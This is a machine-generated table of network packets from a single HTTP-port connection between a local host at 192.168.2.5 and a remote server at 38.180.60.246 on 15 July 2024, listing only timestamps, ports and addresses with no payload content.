Jul 15, 2024 00:48:22.695209026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.695210934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695221901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695240021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.695255041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.695466042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695477962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695506096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.695523024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.695539951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695550919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695564032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695576906 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.695600033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.695703030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695713043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695724010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695734978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695746899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.695748091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695765018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.695785999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.696146965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696158886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696168900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696180105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696192026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.696217060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.696248055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696285963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696295023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.696321964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.696378946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696389914 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696400881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696428061 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.696454048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.696614027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696625948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696635962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696646929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696659088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696671009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696671009 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.696690083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.696705103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.696891069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696938992 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.696957111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696971893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696985960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.696999073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.697000027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697012901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697017908 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.697040081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.697061062 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.697240114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697251081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697263002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697274923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697287083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697288990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.697299004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697309971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697314978 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.697333097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.697349072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.697626114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697637081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697650909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697657108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697666883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697678089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697681904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.697689056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697700977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697706938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.697712898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697725058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.697726965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.697741985 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.697772026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.698090076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.698101044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.698112011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.698122978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.698133945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.698134899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.698144913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.698154926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.698158979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.698168993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.698173046 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.698189020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.698214054 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.707493067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.707540989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.707549095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.707552910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.707572937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.707588911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.707629919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.707639933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.707650900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.707662106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.707663059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.707678080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.707706928 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.707860947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.707871914 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.707901955 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.707916975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.707938910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.707950115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.707958937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.707969904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.707974911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.707981110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.707993031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.708009958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.708031893 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.708477974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.708494902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.708507061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.708518028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.708525896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.708553076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.708570957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.708581924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.708594084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.708605051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.708609104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.708616018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.708626986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.708636045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.708640099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.708662987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.708677053 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.709232092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709242105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709253073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709265947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709271908 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.709278107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709287882 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.709289074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709300995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709312916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709320068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.709326029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709332943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.709337950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709348917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709359884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709366083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.709372044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709383965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709393978 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.709394932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709405899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.709408045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.709436893 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.710248947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.710261106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.710269928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.710282087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.710302114 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.710318089 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.785497904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.785515070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.785526991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.785598040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.785609961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.785621881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.785657883 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.785695076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.785737038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.785749912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.785762072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.785773993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.785784006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.785788059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.785804987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.785835028 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.786012888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.786026001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.786039114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.786048889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.786061049 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.786086082 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.786113977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787097931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787108898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787120104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787134886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787141085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787147999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787163019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787169933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787180901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787193060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787193060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787206888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787213087 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787219048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787231922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787240982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787245989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787256956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787261963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787270069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787276983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787283897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787296057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787306070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787307978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787319899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787329912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787331104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787348032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787364960 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787384033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787417889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787523985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787534952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787547112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787558079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787559986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787575006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787579060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787589073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787600040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787607908 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787615061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787623882 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787626982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787648916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787674904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787830114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787842989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787868023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787883997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787908077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787919998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787933111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787942886 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787945986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787956953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787957907 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787971973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.787977934 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.787985086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788007021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.788021088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.788176060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788217068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.788228035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788239002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788250923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788264036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.788264036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788283110 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.788305998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.788477898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788501978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788515091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.788522005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788533926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788533926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.788546085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788556099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.788558006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788569927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788575888 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.788582087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788594007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788602114 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.788606882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788616896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.788618088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788630962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788642883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788650990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.788683891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.788970947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788981915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.788995981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789012909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789038897 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789155006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789167881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789177895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789191008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789201021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789203882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789216995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789230108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789233923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789242983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789256096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789258957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789268017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789277077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789279938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789293051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789303064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789324999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789347887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789581060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789592981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789622068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789640903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789664984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789674997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789690971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789705992 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789726019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789738894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789819002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789829969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789844036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789854050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789855957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789868116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789875984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789881945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.789901018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.789928913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.790111065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790133953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790144920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790153980 CEST	49704	80	192.168.2.5	38.180.60.246
